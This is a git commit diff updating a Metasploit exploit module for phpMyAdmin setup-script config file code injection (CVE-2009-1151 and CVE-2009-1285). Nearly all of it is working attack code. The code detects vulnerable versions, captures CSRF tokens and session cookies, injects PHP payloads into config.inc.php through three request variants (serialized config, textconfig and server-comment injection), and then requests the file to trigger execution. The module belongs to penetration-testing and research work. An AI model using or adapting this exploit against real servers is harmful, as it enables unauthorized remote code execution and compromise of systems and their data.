Merge pull request #21019 from g0tmi1k/phpmyadmin_config

This commit is contained in:
Christophe De La Fuente
2026-04-21 19:13:04 +02:00
committed by GitHub
+291 -57
View File
@@ -7,19 +7,22 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PhpMyAdmin Config File Code Injection',
'Name' => 'phpMyAdmin Config File Code Injection',
'Description' => %q{
This module exploits a vulnerability in phpMyAdmin's setup
feature which allows an attacker to inject arbitrary PHP
code into a configuration file. The original advisory says
the vulnerability is present in phpMyAdmin versions 2.11.x
< 2.11.9.5 and 3.x < 3.1.3.1; this module was tested on
3.0.1.1.
the vulnerability is present in phpMyAdmin versions
2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.
There was a follow up vulnerability as the patch was
incomplete, affecting versions 3.x <= 3.1.3.1.
The file where our payload is written
(phpMyAdmin/config/config.inc.php) is not directly used by
@@ -28,20 +31,25 @@ class MetasploitModule < Msf::Exploit::Remote
after successful exploitation.
},
'Author' => [
'Greg Ose', # Discovery
'pagvac', # milw0rm PoC
'egypt' # metasploit module
'Greg Ose', # Discovery (CVE-2009-1151, v2.11.x <= v3.0.x)
'pagvac', # milw0rm PoC (CVE-2009-1151)
'egypt', # metasploit
'Tenable', # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1)
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2009-1151' ],
[ 'OSVDB', '53076' ],
[ 'EDB', '8921' ],
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php' ],
[ 'URL', 'http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ]
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-3/' ],
[ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ],
[ 'CVE', '2009-1285' ],
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-4/' ],
[ 'URL', 'https://www.tenable.com/security/research/tra-2009-02' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Payload' => {
'Space' => 4000, # unlimited really since our shellcode gets written to a file
@@ -49,82 +57,308 @@ class MetasploitModule < Msf::Exploit::Remote
# No filtering whatsoever, so no badchars
'Compat' =>
{
'ConnectionType' => 'find',
'ConnectionType' => 'find'
},
'Keys' => ['php'],
'Keys' => [ 'php' ]
},
'Targets' => [
[ 'Automatic (phpMyAdmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1)', {} ],
[ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2009-03-24',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpMyAdmin/']),
OptString.new('URI', [ true, 'Base phpMyAdmin directory path', '/phpMyAdmin/' ]),
# /scripts/setup.php - <= 2.11.9.4/3.0.x
# /setup/ - >= 3.1.x
OptString.new('SETUP_PATH', [ false, 'phpMyAdmin setup directory path (Blank to automatically detect)' ])
]
)
end
def exploit
# First, grab the session cookie and the CSRF token
print_status("Grabbing session cookie and CSRF token")
uri = normalize_uri(datastore['URI'], "/scripts/setup.php")
def request_setup(uri)
uri = normalize_uri(datastore['URI'], uri)
vprint_status "Trying: #{uri}"
response = send_request_raw({ 'uri' => uri })
if !response
fail_with(Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.")
return
if response.nil?
vprint_error 'Error with setup request (No response)'
elsif response.code != 200
vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)"
else
vprint_good "Found: #{uri}"
title = response&.get_html_document&.at_xpath('//title')&.text
if /phpMyAdmin (?<version_str>.+?) setup/i =~ title
version = Rex::Version.new(version_str)
vprint_status "Found version: #{version}"
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'phpMyAdmin',
info: "phpMyAdmin #{version}",
parents: {
name: ssl ? 'https' : 'http',
host: rhost,
port: rport,
proto: 'tcp',
parents: {
name: 'tcp',
host: rhost,
port: rport,
proto: 'tcp',
parents: nil
}
}
)
end
end
if (response.body !~ /"token"\s*value="([^"]*)"/)
fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?")
return
return response, version
end
def find_setup_path(mode: :exploit)
if datastore['SETUP_PATH'].nil?
vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path'
response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x
if mode == :exploit
response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig)
response, version = request_setup('/setup/') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments)
else
response, version = request_setup('/setup/') unless response&.code == 200 # This will report if folder is writable
response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # This will not
end
else
response, version = request_setup(datastore['SETUP_PATH'])
end
token = $1
print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200
return response, version
end
def check
response, version = find_setup_path(mode: :check)
return Exploit::CheckCode::Safe unless response&.code == 200
if (response.body !~ /"token"\s*value="([^"]+)"/)
return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?")
elsif (response.body =~ /Cannot load or save configuration/)
return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)")
elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it.
return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)")
end
if version
vulnerable =
version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) ||
version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1'))
if vulnerable
return Exploit::CheckCode::Appears("Target version is in range! (#{version})")
else
print_status "Target version is not in range (#{version})"
end
else
print_error 'Could not determine version'
end
return Exploit::CheckCode::Safe
end
def php_serialize(obj)
case obj
when String
"s:#{obj.bytesize}:\"#{obj}\";"
when Integer
"i:#{obj};"
when TrueClass
'b:1;'
when FalseClass
'b:0;'
when Array
body = obj.each_with_index.map { |v, i| php_serialize(i) + php_serialize(v) }.join
"a:#{obj.length}:{#{body}}"
when Hash
body = obj.map { |k, v| php_serialize(k) + php_serialize(v) }.join
"a:#{obj.length}:{#{body}}"
end
end
def valid_request(response, expected_http_code = 200)
fail_with(Failure::Unknown, 'Error with exploit request (No response)') unless response
return if [expected_http_code, 200].include?(response.code)
fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, expected #{expected_http_code})")
end
def exploit
response, = find_setup_path(mode: :exploit)
fail_with(Failure::NotFound, 'Failed - Server may not be vulnerable') unless response&.code == 200
uri = response.request[/^GET\s+(\S+)/, 1]
# Find the CSRF token and session cookie
fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/)
token = ::Regexp.last_match(1)
cookie = response.get_cookies
# There is probably a great deal of randomization that can be done with
# this format.
config = "a:1:{s:7:\"Servers\";a:1:{i:0;a:6:{s:#{payload.encoded.length + 13}:\""
config << "host']='';" + payload.encoded + ";//"
config << '";s:9:"' + rand_text_alpha(9) + '";s:9:"extension";s:6:"mysqli";s:12:"connect_type"'
config << ';s:3:"tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"' + rand_text_alpha(4) + '";}}}'
case uri
# CVE-2009-1151
when %r{/scripts/setup\.php}
vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x'
data = "token=#{token}&action=save&configuration="
data << Rex::Text.uri_encode(config)
data << "&eoltype=unix"
injected = "host']='';#{payload.encoded};//"
# Now that we've got the cookie and token, send the evil
print_status("Sending save request")
response = send_request_raw({
'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"),
'method' => 'POST',
'data' => data,
'cookie' => cookie,
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => data.length
# There is probably a great deal of randomization that can be done with this PHP serialized array
config_hash = {
'Servers' => [
{
injected => '',
rand_text_alpha(9) => 'extension',
'connect_type' => 'tcp',
'compress' => false,
'auth_type' => 'config',
'user' => rand_text_alpha(4)
}
]
}
}, 3)
config = php_serialize(config_hash)
print_status("Requesting our payload")
# Now that we've got the cookie and token, send the evil
print_status "Sending exploit (save request): #{uri}"
response = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'token' => token,
'action' => 'save',
'configuration' => config,
'eoltype' => 'unix'
}
}, 3)
valid_request(response)
# CVE-2009-1285 #1
when %r{/setup/index\.php\?page=config\z}
uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post')
print_status "Sending exploit >= 3.1.x (textconfig): #{uri}"
response = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'token' => token,
'eol' => 'unix',
'textconfig' => "<?php #{payload.encoded} ?>",
'submit_save' => 'Save'
# very short timeout because the request may never return if we're
# sending a socket payload
}
}, 3)
valid_request(response, 303)
# CVE-2009-1285 #2
when %r{/setup(?:/(?:config|index)\.php)?/?\z}
phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1]
fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie
print_status "Sending exploit >= 3.1.x (new server): #{uri}"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'vars_get' => {
'phpMyAdmin' => phpmyadmin_cookie,
'check_page_refresh' => '1',
'token' => token,
'page' => 'servers',
'mode' => 'add',
'submit' => 'New server'
},
'cookie' => cookie,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'check_page_refresh' => '1',
'token' => token,
'Servers-0-verbose' => "*/#{payload.encoded}/*",
'Servers-0-host' => 'localhost',
'Servers-0-port' => '',
'Servers-0-socket' => '',
'Servers-0-connect_type' => 'tcp',
'Servers-0-extension' => 'mysqli',
'Servers-0-auth_type' => 'cookie',
'Servers-0-user' => 'root',
'Servers-0-password' => '',
'Servers-0-auth_swekey_config' => '',
'submit_save' => 'Save',
'Servers-0-SignonSession' => '',
'Servers-0-SignonURL' => '',
'Servers-0-LogoutURL' => '',
'Servers-0-only_db' => '',
'Servers-0-hide_db' => '',
'Servers-0-AllowRoot' => 'on',
'Servers-0-DisableIS' => 'on',
'Servers-0-AllowDeny-order' => '',
'Servers-0-AllowDeny-rules' => '',
'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES',
'Servers-0-CountTables' => 'on',
'Servers-0-pmadb' => '',
'Servers-0-controluser' => '',
'Servers-0-controlpass' => '',
'Servers-0-verbose_check' => 'on',
'Servers-0-bookmarktable' => '',
'Servers-0-relation' => '',
'Servers-0-table_info' => '',
'Servers-0-table_coords' => '',
'Servers-0-pdf_pages' => '',
'Servers-0-column_info' => '',
'Servers-0-history' => '',
'Servers-0-designer_coords' => ''
}
}, 3
)
valid_request(response, 303)
uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php')
print_status "Sending exploit >= 3.1.x (save config): #{uri}"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'token' => token,
'submit_save' => 'Save'
}
}, 3
)
valid_request(response, 303)
else
fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}")
end
# Very short timeout because the request may never return if we're sending a socket payload
timeout = 0.1
uri = normalize_uri(datastore['URI'], '/config/config.inc.php')
print_status "Requesting our payload: #{uri}"
response = send_request_raw({
# Allow findsock payloads to work
'global' => true,
'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php")
'global' => true, # Allow findsock payloads to work
'uri' => uri
}, timeout)
handler
# Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
if response.nil?
vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.'
elsif response.code != 200
vprint_error "Error with payload request (HTTP #{response.code}, should be 200)"
end
end
end